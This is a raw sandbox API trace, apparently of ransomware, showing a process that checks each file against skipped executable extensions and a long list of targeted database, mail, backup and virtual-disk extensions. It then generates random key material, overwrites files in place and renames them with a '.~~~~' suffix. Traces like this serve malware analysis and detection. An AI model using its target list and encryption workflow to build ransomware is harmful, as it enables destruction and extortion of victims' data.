	[0084.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0084.883] lstrlenW (lpString=".OST") returned 4
	[0084.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0084.884] lstrlenW (lpString=".dbx") returned 4
	[0084.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0084.884] lstrlenW (lpString=".DB3") returned 4
	[0084.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0084.884] lstrlenW (lpString=".DAT") returned 4
	[0084.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0084.884] lstrlenW (lpString=".VHDX") returned 5
	[0084.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0084.884] lstrlenW (lpString=".ndf") returned 4
	[0084.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0084.884] lstrlenW (lpString=".DB") returned 3
	[0084.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0084.884] lstrlenW (lpString=".sql") returned 4
	[0084.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0084.884] lstrlenW (lpString=".MYD") returned 4
	[0084.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0084.884] lstrlenW (lpString=".DBT") returned 4
	[0084.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0084.884] lstrlenW (lpString=".ACCDB") returned 6
	[0084.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0084.884] lstrlenW (lpString=".fdb") returned 4
	[0084.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0084.884] lstrlenW (lpString=".bak") returned 4
	[0084.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0084.885] lstrlenW (lpString=".myd") returned 4
	[0084.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0084.885] lstrlenW (lpString=".DTXS") returned 5
	[0084.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0084.885] lstrlenW (lpString=".ckp") returned 4
	[0084.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0084.885] lstrlenW (lpString=".dbt") returned 4
	[0084.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0084.885] lstrlenW (lpString=".db") returned 3
	[0084.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0084.885] lstrlenW (lpString=".TXT") returned 4
	[0084.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0084.885] lstrlenW (lpString=".MDF") returned 4
	[0084.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0084.885] lstrlenW (lpString=".bdb") returned 4
	[0084.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0084.885] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0084.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.885] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0084.886] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.886] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.887] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0084.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0084.887] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20487680050) returned 1
	[0084.887] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9c6cf390, dwHighDateTime=0x1d60e1e)) 
	[0084.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0084.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0084.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0084.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9da8
	[0084.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.887] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9da8 | out: hHeap=0x300000) returned 1
	[0084.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.887] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e69d0
	[0084.887] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.887] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e69d0 | out: hHeap=0x300000) returned 1
	[0084.887] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0084.888] GetLastError () returned 0x0
	[0084.888] GetLastError () returned 0x0
	[0084.888] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0084.888] GetLastError () returned 0x0
	[0084.888] GetLastError () returned 0x0
	[0084.892] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffa9d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.892] WriteFile (in: hFile=0x120, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x563, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x563, lpOverlapped=0x0) returned 1
	[0084.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0084.892] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.892] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.893] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.893] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.893] CloseHandle (hObject=0x120) returned 1
	[0084.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0084.893] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.~~~~")) returned 1
	[0084.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0084.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0084.894] GetLastError () returned 0x0
	[0084.894] RtlWakeConditionVariable () returned 0x365f70
	[0084.894] GetCurrentThreadId () returned 0xaf0
	[0084.894] GetCurrentThreadId () returned 0xaf0
	[0084.894] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0084.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5970 | out: hHeap=0x300000) returned 1
	[0084.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9d70 | out: hHeap=0x300000) returned 1
	[0084.894] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5970
	[0084.894] lstrlenW (lpString=".scr") returned 4
	[0084.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0084.894] lstrlenW (lpString=".cmd") returned 4
	[0084.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0084.894] lstrlenW (lpString=".dll") returned 4
	[0084.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0084.894] lstrlenW (lpString=".bat") returned 4
	[0084.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0084.895] lstrlenW (lpString=".cpl") returned 4
	[0084.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0084.895] lstrlenW (lpString=".sys") returned 4
	[0084.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0084.895] lstrlenW (lpString=".msc") returned 4
	[0084.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0084.895] lstrlenW (lpString=".com") returned 4
	[0084.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0084.895] lstrlenW (lpString=".lnk") returned 4
	[0084.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0084.895] lstrlenW (lpString=".msp") returned 4
	[0084.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0084.895] lstrlenW (lpString=".pif") returned 4
	[0084.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0084.895] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0084.895] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0084.951] lstrlenW (lpString=".sqb") returned 4
	[0084.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0084.951] lstrlenW (lpString=".ost") returned 4
	[0084.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0084.951] lstrlenW (lpString=".txt") returned 4
	[0084.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0084.951] lstrlenW (lpString=".mdt") returned 4
	[0084.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0084.951] lstrlenW (lpString=".BDB") returned 4
	[0084.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0084.951] lstrlenW (lpString=".eql") returned 4
	[0084.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0084.951] lstrlenW (lpString=".DBF") returned 4
	[0084.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0084.951] lstrlenW (lpString=".EQL") returned 4
	[0084.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0084.951] lstrlenW (lpString=".FDB") returned 4
	[0084.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0084.952] lstrlenW (lpString=".EDB") returned 4
	[0084.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0084.952] lstrlenW (lpString=".DACPAC") returned 7
	[0084.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0084.952] lstrlenW (lpString=".VHD") returned 4
	[0084.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0084.952] lstrlenW (lpString=".DBV") returned 4
	[0084.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0084.952] lstrlenW (lpString=".dacpac") returned 7
	[0084.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0084.952] lstrlenW (lpString=".sdf") returned 4
	[0084.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0084.952] lstrlenW (lpString=".accdb") returned 6
	[0084.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0084.952] lstrlenW (lpString=".DBX") returned 4
	[0084.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0084.952] lstrlenW (lpString=".MDT") returned 4
	[0084.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0084.952] lstrlenW (lpString=".SQB") returned 4
	[0084.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0084.952] lstrlenW (lpString=".vhd") returned 4
	[0084.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0084.952] lstrlenW (lpString=".bac") returned 4
	[0084.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0084.952] lstrlenW (lpString=".mdf") returned 4
	[0084.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0084.953] lstrlenW (lpString=".BAK") returned 4
	[0084.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0084.953] lstrlenW (lpString=".BAC") returned 4
	[0084.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0084.953] lstrlenW (lpString=".dbs") returned 4
	[0084.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0084.953] lstrlenW (lpString=".vhdx") returned 5
	[0084.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0084.953] lstrlenW (lpString=".NDF") returned 4
	[0084.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0084.953] lstrlenW (lpString=".dat") returned 4
	[0084.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0084.953] lstrlenW (lpString=".DBS") returned 4
	[0084.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0084.953] lstrlenW (lpString=".CKP") returned 4
	[0084.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0084.953] lstrlenW (lpString=".edb") returned 4
	[0084.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0084.953] lstrlenW (lpString=".PST") returned 4
	[0084.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0084.953] lstrlenW (lpString=".dbf") returned 4
	[0084.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0084.953] lstrlenW (lpString=".SQL") returned 4
	[0084.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0084.953] lstrlenW (lpString=".pst") returned 4
	[0084.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0084.954] lstrlenW (lpString=".dbv") returned 4
	[0084.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0084.954] lstrlenW (lpString=".SDF") returned 4
	[0084.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0084.954] lstrlenW (lpString=".dtxs") returned 5
	[0084.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0084.954] lstrlenW (lpString=".db3") returned 4
	[0084.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0084.954] lstrlenW (lpString=".OST") returned 4
	[0084.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0084.954] lstrlenW (lpString=".dbx") returned 4
	[0084.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0084.954] lstrlenW (lpString=".DB3") returned 4
	[0084.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0084.954] lstrlenW (lpString=".DAT") returned 4
	[0084.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0084.954] lstrlenW (lpString=".VHDX") returned 5
	[0084.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0084.954] lstrlenW (lpString=".ndf") returned 4
	[0084.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0084.954] lstrlenW (lpString=".DB") returned 3
	[0084.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0084.954] lstrlenW (lpString=".sql") returned 4
	[0084.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0084.954] lstrlenW (lpString=".MYD") returned 4
	[0084.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0084.955] lstrlenW (lpString=".DBT") returned 4
	[0084.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0084.955] lstrlenW (lpString=".ACCDB") returned 6
	[0084.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0084.955] lstrlenW (lpString=".fdb") returned 4
	[0084.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0084.955] lstrlenW (lpString=".bak") returned 4
	[0084.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0084.955] lstrlenW (lpString=".myd") returned 4
	[0084.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0084.955] lstrlenW (lpString=".DTXS") returned 5
	[0084.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0084.955] lstrlenW (lpString=".ckp") returned 4
	[0084.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0084.955] lstrlenW (lpString=".dbt") returned 4
